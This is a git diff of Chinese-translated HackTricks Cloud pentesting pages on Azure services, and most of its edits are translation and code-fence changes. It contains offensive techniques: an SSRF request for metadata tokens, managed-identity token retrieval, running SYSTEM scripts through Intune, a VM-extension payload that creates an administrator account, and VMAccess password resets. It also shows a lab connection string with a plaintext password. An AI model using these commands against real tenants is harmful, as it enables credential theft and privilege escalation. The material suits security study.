* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>

View File

@@ -6,11 +6,11 @@
**Azure Files** 是一个完全托管的云文件存储服务,提供通过标准 **SMB (Server Message Block)****NFS (Network File System)** 协议访问的共享文件存储。尽管主要使用的协议是 SMB但 NFS Azure 文件共享不支持 Windows根据 [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))。它允许您创建高度可用的网络文件共享,可以被多个虚拟机 (VM) 或本地系统同时访问,从而实现跨环境的无缝文件共享。
### 访问层
### 访问层
- **事务优化**:针对事务密集型操作进行了优化。
- **热存储**:在事务和存储之间保持平衡。
- **冷存储**:在存储方面具有成本效益。
- **冷存储**:在存储具有成本效益。
- **高级存储**:针对低延迟和 IOPS 密集型工作负载进行了优化的高性能文件存储。
### 备份
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -80,21 +80,21 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
{{#endtabs}}
> [!NOTE]
> 默认情况下,`az` cli 将使用帐户密钥来签密钥并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login --enable-file-backup-request-intent`。
> 默认情况下,`az` cli 将使用帐户密钥来签密钥并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login --enable-file-backup-request-intent`。
> [!TIP]
> 使用参数 `--account-key` 指定要使用的帐户密钥\
> 使用参数 `--sas-token` SAS 令牌一起访问
> 使用参数 `--sas-token` 通过 SAS 令牌访问
### 连接
这些是 Azure 在撰写时建议的连接文件共享的脚本:
这些是 Azure 在撰写时提出的连接文件共享的脚本:
您需要替换 `<STORAGE-ACCOUNT>``<ACCESS-KEY>``<FILE-SHARE-NAME>` 占位符。
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot

View File

@@ -48,7 +48,7 @@
```bash
az keyvault show --name name-vault --query networkAcls
```
之前的命令将显示`name-vault`的防火墙设置包括启用的IP范围和拒绝流量的策略。
之前的命令将显示`name-vault`**防火墙设置**包括启用的IP范围和拒绝流量的策略。
此外,可以创建一个**私有端点**以允许与保管库的私有连接。
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

View File

@@ -4,9 +4,9 @@
## 基本信息
Azure Logic Apps 是微软 Azure 提供的基于云的服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务,并在不同平台之间执行数据集成。
Azure Logic Apps 是微软 Azure 提供的服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务,并在不同平台之间执行数据集成。
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以特定需求创建自定义连接器。
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。
### 示例
@@ -23,9 +23,9 @@ Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建
### SSRF 保护
即使您发现 **Logic App 易受 SSRF 攻击**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
即使您发现 **Logic App SSRF 漏洞**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
例如,像这样的请求不会返回令牌:
例如,像这样的请求不会返回令牌:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

View File

@@ -1,8 +1,8 @@
# Az - MySQL 数据库
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@@ -24,7 +24,7 @@ Azure Database for MySQL 是一个完全托管的关系数据库服务,基于
- 适合具有可预测工作负载的应用程序。
* **灵活服务器**
- 提供对数据库管理和配置的更多控制。
- 支持高可用性(同一区域和区冗余)。
- 支持高可用性(同和区冗余)。
- 具有弹性扩展、补丁管理和工作负载优化功能。
- 提供停止/启动功能以节省成本。
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -138,7 +138,7 @@ mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
此外,您还可以使用 github 执行查询,但也需要密码和用户。您需要设置一个包含要运行的查询的 sql 文件,然后:
您还可以使用 GitHub 执行查询,但也需要密码和用户。您需要设置一个包含要运行的查询的 SQL 文件,然后:
{% code overflow="wrap" %}
```bash
# Setup
@@ -174,7 +174,7 @@ az mysql flexible-server deploy run \
## 待办事项
* 寻找一种方法,通过 mysql flexible-server ad-admin 访问以验证其是否为权限提升方法
* 寻找一种方法 mysql flexible-server ad-admin 访问以验证这是一种权限提升方法
@@ -188,7 +188,7 @@ az mysql flexible-server deploy run \
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View File

@@ -28,7 +28,7 @@
- 具有弹性扩展、自动维护和节省成本的功能。
- 允许启动和停止服务器以优化成本。
### 主要特性
### 关键特性
* **自定义维护窗口**:安排更新以最小化干扰。
* **主动监控**:访问详细的指标和日志以跟踪和改善数据库性能。
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -134,7 +134,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
```
{% endcode %}
## 参考
## 参考文献
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
@@ -166,8 +166,8 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View File

@@ -4,13 +4,13 @@
## Azure SQL
Azure SQL 是一系列托管、安全和智能的产品,使用 **Azure 云中的 SQL Server 数据库引擎**。这意味着您不必担心服务器的物理管理,可以专注于管理您的数据。
Azure SQL 是一系列托管、安全和智能的产品,使用 **Azure 云中的 SQL Server 数据库引擎**。这意味着您不必担心服务器的物理管理,可以专注于管理您的数据。
Azure SQL 由三个主要产品组成:
1. **Azure SQL 数据库**:这是一个 **完全托管的数据库服务**,允许您在 Azure 云中托管单个数据库。它提供内置智能,学习您独特的数据库模式,并提供定制的建议和自动调优。
2. **Azure SQL 托管实例**适用于更大规模整个 SQL Server 实例范围的部署。它与最新的 SQL Server 本地(企业版)数据库引擎几乎 100% 兼容提供本地虚拟网络VNet实现解决常见的安全问题并为本地 SQL Server 客户提供有利的商业模式。
3. **Azure SQL 服务器在 Azure 虚拟机上**这是基础设施即服务IaaS最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像在本地运行的服务器一样
2. **Azure SQL 托管实例**这是针对更大规模整个 SQL Server 实例范围的部署。它与最新的 SQL Server 本地(企业版)数据库引擎几乎 100% 兼容提供本地虚拟网络VNet实现解决常见的安全问题并为本地 SQL Server 客户提供有利的商业模式。
3. **Azure SQL 服务器在 Azure 虚拟机上**这是基础设施即服务IaaS最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像它是一个在本地运行的服务器。
### Azure SQL 数据库
@@ -19,15 +19,15 @@ Azure SQL 由三个主要产品组成:
#### 关键特性
- **始终保持最新**:运行在最新的稳定版本的 SQL Server 上,并自动接收新功能和补丁。
- **PaaS 能**:内置高可用性、备份和更新。
- **PaaS 能**:内置高可用性、备份和更新。
- **数据灵活性**支持关系和非关系数据例如图形、JSON、空间和 XML
#### 购买模型 / 服务层级
- **基于 vCore**:独立选择计算、内存和存储。适用于通用用途、业务关键(具有高弹性和 OLTP 应用性能)并可扩展 128 TB 存储。
- **基于 vCore**:独立选择计算、内存和存储。适用于通用用途、业务关键(具有高弹性和 OLTP 应用性能)并可扩展 128 TB 存储。
- **基于 DTU**:将计算、内存和 I/O 打包成固定层级。为常见任务提供平衡资源。
- 标准:为常见任务提供平衡资源。
- 高级:为高负载工作负载提供高性能。
- 高级:为高负载工作提供高性能。
#### 部署模型
@@ -37,14 +37,14 @@ Azure SQL 数据库支持灵活的部署选项,以满足各种需求:
- 一个完全隔离的数据库,拥有自己的专用资源。
- 非常适合微服务或需要单一数据源的应用程序。
- **弹性池**
- 允许多个数据库在池内共享资源。
- 允许多个数据库在一个池中共享资源。
- 对于多个数据库之间使用模式波动的应用程序,具有成本效益。
#### 可扩展性能和池
- **单一数据库**每个数据库都是隔离的拥有自己的专用计算、内存和存储资源。资源可以动态扩展向上或向下无需停机1128 vCores32 GB4 TB 存储,最多 128 TB
- **弹性池**:在池跨多个数据库共享资源,以最大化效率并节省成本。资源也可以为整个池动态扩展。
- **服务层级灵活性**:从通用用途层的单一数据库开始。随着需求的增长,升级到业务关键或超大规模层。
- **弹性池**:在池跨多个数据库共享资源,以最大化效率并节省成本。资源也可以为整个池动态扩展。
- **服务层级灵活性**:从通用用途层的单一数据库开始。随着需求的增长,升级到业务关键或超大规模层。
- **扩展选项**:动态扩展或自动扩展替代方案。
#### 内置监控与优化
@@ -56,7 +56,7 @@ Azure SQL 数据库支持灵活的部署选项,以满足各种需求:
#### 灾难恢复与可用性
- **自动备份**SQL 数据库自动执行数据库的完整、差异和事务日志备份。
- **时间点恢复**:在备份保留期内将数据库恢复到任何过去的状态。
- **时间点恢复**:在备份保留期内将数据库恢复到任何过去的状态。
- **地理冗余**
- **故障转移组**:通过将数据库分组以实现跨区域的自动故障转移,简化灾难恢复。
@@ -77,20 +77,20 @@ Azure SQL 数据库支持灵活的部署选项,以满足各种需求:
### Azure SQL 虚拟机
**Azure SQL 虚拟机** 最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像在本地运行的服务器一样。它可以有不同的机器大小,以及广泛的 SQL Server 版本和版本选择。
**Azure SQL 虚拟机** 最适合您希望 **控制操作系统和 SQL Server 实例** 的迁移,就像它是一个在本地运行的服务器。它可以有不同的机器大小,以及广泛的 SQL Server 版本和版本选择。
#### 关键特性
**自动备份**:为 SQL 数据库安排备份。
**自动打补丁**:在维护窗口期间自动安装 Windows 和 SQL Server 更新。
**Azure 密钥保管库集成**:自动为 SQL Server 虚拟机配置密钥保管库
**Azure Key Vault 集成**:自动为 SQL Server 虚拟机配置 Key Vault
**云防御者集成**:在门户中查看 SQL 的防御者建议。
**版本/版本灵活性**:在不重新部署虚拟机的情况下更改 SQL Server 版本或版本元数据。
#### 安全特性
**Microsoft Defender for SQL**:安全见解和警报。
**Azure 密钥保管库集成**:安全存储凭据和加密密钥。
**Azure Key Vault 集成**:安全存储凭据和加密密钥。
**Microsoft Entra (Azure AD)**:身份验证和访问控制。
## 枚举
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -209,7 +209,7 @@ Get-AzSqlVM
### 连接并运行 SQL 查询
您可以从示例 [枚举 Az WebApp](az-app-services.md) 中找到连接字符串(包含凭据):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
您还可以使用 sqlcmd 访问数据库。重要的是要知道服务器是否允许公共连接 `az sql server show --name <server-name> --resource-group <resource-group>`,以及防火墙规则是否允许我们的 IP 访问:
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## 参考

View File

@@ -4,7 +4,7 @@
## 基本信息
Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安全和高可用的云 **存储各种数据类型**,包括 blobs大二进制对象、文件、队列和表。它们作为容器将这些不同的存储服务组合在一个命名空间下便于管理。
Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安全和高可用的云 **存储以支持各种数据类型**,包括 blobs大二进制对象、文件、队列和表。它们作为容器将这些不同的存储服务组合在一个命名空间下便于管理。
**主要配置选项**
@@ -53,9 +53,9 @@ Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安
### 存储端点
<table data-header-hidden><thead><tr><th width="197">存储服务</th><th>端点</th></tr></thead><tbody><tr><td><strong>Blob 存储</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>数据湖存储</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure 文件</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>队列存储</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>表存储</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">存储服务</th><th>端点</th></tr></thead><tbody><tr><td><strong>Blob 存储</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>数据湖存储</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure 文件</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>队列存储</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>表存储</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### 公暴露
### 公暴露
如果“允许 Blob 公共访问” **已启用**(默认禁用),在创建容器时可以:
@@ -67,7 +67,7 @@ Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安
### 连接到存储
如果您找到任何可以连接的 **存储**,可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来进行连接。
如果您发现任何可以连接的 **存储**,可以使用工具 [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) 来进行连接。
## 存储访问 <a href="#about-blob-storage" id="about-blob-storage"></a>
@@ -83,15 +83,15 @@ Azure 存储帐户是 Microsoft Azure 中的基本服务,提供可扩展、安
### **共享密钥与轻量级共享密钥**
可以 [**生成共享密钥**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) 使用访问密钥签名以通过签名 URL 授权访问某些资源。
可以 [**生成共享密钥**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)使用访问密钥签名以授权通过签名 URL 访问某些资源。
> [!NOTE]
> 请注意,`CanonicalizedResource` 部分表示存储服务资源URI。如果 URL 中的任何部分被编码,则它也应在 `CanonicalizedResource` 中编码。
> 请注意,`CanonicalizedResource` 部分表示存储服务资源URI。如果 URL 中的任何部分被编码,则它也应在 `CanonicalizedResource` 中进行编码。
> [!NOTE]
> 这 **默认由 `az` cli 使用** 来验证请求。要使其使用 Entra ID 主体凭据,请指示参数 `--auth-mode login`。
> **默认由 `az` cli 使用** 来验证请求。要使其使用 Entra ID 主体凭据,请指示参数 `--auth-mode login`。
- 可以生成 **blob、队列和文件服务共享密钥**,签名以下信息:
- 可以blob、队列和文件服务生成 **共享密钥**,签名以下信息:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -108,7 +108,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- 可以通过签署以下信息生成 **表服务的共享密钥**
- 可以通过以下信息进行签名来生成 **表服务的共享密钥**
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- 可以通过签署以下信息生成 **blob、队列和文件服务的轻量共享密钥**
- 可以通过签署以下信息生成 **轻量级共享密钥,用于 blob、队列和文件服务**
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -125,7 +125,7 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- 可以通过签署以下信息生成 **表服务的轻量共享密钥**
- 可以通过以下信息进行签名来生成 **lite shared key for table services**
```bash
StringToSign = Date + "\n"
CanonicalizedResource
@@ -175,7 +175,7 @@ Content-Length: 0
## Azure Blob 存储的 SFTP 支持
Azure Blob 存储现在支持 SSH 文件传输协议 (SFTP),使得可以安全地将文件直接传输和管理到 Blob 存储,而无需自定义解决方案或第三方产品。
Azure Blob 存储现在支持 SSH 文件传输协议 (SFTP),使得可以安全地将文件传输和管理直接到 Blob 存储,而无需自定义解决方案或第三方产品。
### 关键特性
@@ -197,7 +197,7 @@ Azure Blob 存储现在支持 SSH 文件传输协议 (SFTP),使得可以安全
### 权限
| 权限 | 符号 | 描述 |
| 权限 | 符号 | 描述 |
| ---------------------- | ------ | ------------------------------------ |
| **读取** | `r` | 读取文件内容。 |
| **写入** | `w` | 上传文件和创建目录。 |
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

View File

@@ -4,9 +4,9 @@
## 基本信息
**Azure Table Storage** 是一个 NoSQL 键值存储,旨在存储大量结构化的非关系数据。它提供高可用性、低延迟和可扩展性,以效处理大数据集。数据组织成表格,每个实体通过分区键和行键进行标识,从而实现快速查找。它支持如静态加密、基于角色的访问控制和共享访问签名等功能,适合广泛应用的安全管理存储。
**Azure Table Storage** 是一个 NoSQL 键值存储,旨在存储大量结构化的非关系数据。它提供高可用性、低延迟和可扩展性,以效处理大数据集。数据组织成表格,每个实体通过分区键和行键进行标识,从而实现快速查找。它支持如静态加密、基于角色的访问控制和共享访问签名等功能,适合广泛应用的安全管理存储。
表存储**没有内置备份机制**。
表存储 **没有内置备份机制**
### 键
@@ -17,7 +17,7 @@
#### **RowKey**
- **RowKey 是分区内实体的唯一标识符**。与 PartitionKey 结合时,确保表中的每个实体都有一个全球唯一的标识符。
- **RowKey 是分区内实体的唯一标识符**。与 PartitionKey 结合使用时,确保表中的每个实体都有一个全球唯一的标识符。
- 示例:对于 `"HR"` 分区,`RowKey` 可能是员工 ID例如 `"12345"`
#### **其他属性(自定义属性)**
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

View File

@@ -10,19 +10,19 @@ Microsoft Intune 旨在简化 **应用程序和设备管理** 的过程。它的
具有 **全局管理员****Intune 管理员** 角色的用户可以在任何 **注册的 Windows** 设备上执行 **PowerShell** 脚本。\
**脚本** 仅在设备上以 **SYSTEM** 权限运行一次,如果它没有更改,并且从 Intune 中 **无法查看脚本的输出**
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. 登录到 [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) 或使用 Pass-The-PRT
2. 转到 **Devices** -> **All Devices** 检查已注册到 Intune 的设备
3. 转到 **Scripts** 并点击 **Add**添加 Windows 10 的脚本
4. 添加 **Powershell script**
2. 转到 **设备** -> **所有设备** 检查已注册到 Intune 的设备
3. 转到 **脚本** 并点击 **添加**用于 Windows 10。
4. 添加 **Powershell 脚本**
- ![](<../../../images/image (264).png>)
5.**Assignments** 页面中指定 **Add all users****Add all devices**
5.**分配** 页面中指定 **添加所有用户****添加所有设备**
脚本的执行可能需要 **一个小时**
## References
## 参考
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)

View File

@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## 图像、图库图像和还原点
一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本****跨租户共享** 图像,甚至可以公开。
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本****跨租户共享** 图像,甚至使其公开。
一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点传输到次要位置。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到次要位置。当主站点发生故障时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
## Azure Bastion
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -189,7 +189,7 @@ Get-AzBastion
## 元数据
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
此外要联系元数据端点HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### 虚拟机扩展
Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VMs) 上。
这将允许 **在虚拟机内部执行任意代码**
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -523,7 +523,7 @@ az vm extension set \
您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- 使用 VMAccess 扩展重置密码
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess 扩展</summary>
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -551,8 +551,8 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
